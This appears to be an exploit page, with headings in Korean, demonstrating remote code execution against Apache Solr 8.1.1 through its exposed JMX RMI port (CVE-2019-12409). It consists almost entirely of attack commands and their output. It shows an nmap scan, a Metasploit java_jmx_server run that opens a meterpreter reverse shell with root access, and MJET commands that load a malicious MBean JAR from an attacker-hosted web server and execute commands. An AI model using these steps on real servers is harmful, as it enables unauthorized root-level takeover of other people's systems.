## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAS502N-CVE-2019-12409
# CVE-2019-12409 Apache Solr RCE
## ENABLE_REMOTE_JMX_OPTS="true"
root@kitploit:~
root@kali:/opt/solr-8.1.1/bin# cat solr.in.sh |grep true
# Set to true to activate the JMX RMI connector to allow remote JMX client applications
ENABLE_REMOTE_JMX_OPTS="true"
#SOLR_OPTS="$SOLR_OPTS -Dsolr.clustering.enabled=true"
# Enables log rotation before starting Solr. Setting SOLR_LOG_PRESTART_ROTATION=true will let Solr take care of pre
# Enables HTTPS. It is implictly true if you set SOLR_SSL_KEY_STORE. Use this config
#SOLR_SSL_ENABLED=true
#SOLR_SSL_CHECK_PEER_NAME=true
## nmap 스캔 정보
root@kitploit:~
root@kali:/opt/mjet# nmap -p 18983 -Pn -T5 -n -sC -sV 10.10.20.166 -sC -sV
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-19 17:00 CST
Nmap scan report for 10.10.20.166
Host is up (0.00016s latency).
PORT STATE SERVICE VERSION
18983/tcp open java-rmi Java RMI
| rmi-dumpregistry:
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
| @127.0.1.1:18983
| extends
| java.rmi.server.RemoteStub
| extends
|_ java.rmi.server.RemoteObject
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.95 seconds
root@kali:/opt/mjet#
## 0x01 msf 사용
root@kitploit:~
msf5 exploit(multi/misc/java_jmx_server) > show options
Module options (exploit/multi/misc/java_jmx_server):
Name Current Setting Required Description
---- --------------- -------- -----------
JMXRMI jmxrmi yes The name where the JMX RMI interface is bound
JMX_PASSWORD no The password to interact with an authenticated JMX endpoint
JMX_ROLE no The role to interact with an authenticated JMX endpoint
RHOSTS 10.10.20.166 yes The target address range or CIDR identifier
RPORT 18983 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.20.166 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Generic (Java Payload)
msf5 exploit(multi/misc/java_jmx_server) > run
[*] Started reverse TCP handler on 10.10.20.166:4444
[*] 10.10.20.166:18983 - Using URL: http://0.0.0.0:8080/2kDic5
[*] 10.10.20.166:18983 - Local IP: http://10.10.20.166:8080/2kDic5
[*] 10.10.20.166:18983 - Sending RMI Header...
[*] 10.10.20.166:18983 - Discovering the JMXRMI endpoint...
[+] 10.10.20.166:18983 - JMXRMI endpoint on 127.0.1.1:18983
[*] 10.10.20.166:18983 - Proceeding with handshake...
[+] 10.10.20.166:18983 - Handshake with JMX MBean server on 127.0.1.1:18983
[*] 10.10.20.166:18983 - Loading payload...
[*] 10.10.20.166:18983 - Replied to request for mlet
[*] 10.10.20.166:18983 - Replied to request for payload JAR
[*] 10.10.20.166:18983 - Executing payload...
[*] Sending stage (53845 bytes) to 10.10.20.166
[*] Meterpreter session 2 opened (10.10.20.166:4444 -> 10.10.20.166:48474) at 2019-11-19 16:39:49 +0800
meterpreter > sysinfo
Computer : kali
OS : Linux 4.19.0-kali1-amd64 (amd64)
Meterpreter : java/linux
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/opt/solr-8.1.1/server
ls
contexts
etc
lib
logs
modules
README.txt
resources
scripts
solr
solr-webapp
start.jar
exit
meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(multi/misc/java_jmx_server) >
## 0x02 mjet 사용
#### 사용법:
`java -jar jython-standalone-2.7.0.jar mjet.py 10.10.20.166 18983 install super_secret http://10.10.20.166:8000/ 8000`
`java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 18983 command super_secret "id&&pwd&&ls"`
#### mlet
root@kitploit:~
<html>
<mlet code="de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload" archive="qgmncrbu.jar" name="MogwaiLabs:name=payload,id=1" codebase="http://10.10.20.166:8000/">
</mlet>
</html>
#### 공격 예시
root@kitploit:~
root@kali:/opt/mjet# java -jar jython-standalone-2.7.0.jar mjet.py 10.10.20.166 18983 install super_secret http://10.10.20.166:8000/ 8000
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.10.20.166:18983/jmxrmi
[+] Connected: rmi://127.0.0.1 18
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.10.20.166:8000/
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
<html><mlet code="de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload" archive="qgmncrbu.jar" name="MogwaiLabs:name=payload,id=1" codebase="http://10.10.20.166:8000/"></mlet></html>
10.10.20.166 - - [19/Nov/2019 03:39:17] "GET / HTTP/1.1" 200 -
[+] Object instance already existed, no need to install it a second time
[+] Done
root@kali:/opt/mjet# java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 18983 command super_secret "id&&pwd&&ls"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:18983/jmxrmi
[+] Connected: rmi://127.0.0.1 19
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: id&&pwd&&ls
uid=0(root) gid=0(root) groups=0(root)
/opt/solr-8.1.1/server
contexts
etc
lib
logs
modules
README.txt
resources
scripts
solr
solr-webapp
start.jar
[+] Done
root@kali:/opt/mjet#
## 참고 링크：
https://mogwailabs.de/blog/2019/04/attacking-rmi-based-jmx-services/
https://www.rapid7.com/db/modules/exploit/multi/misc/java_jmx_server
https://github.com/mogwailabs/mjet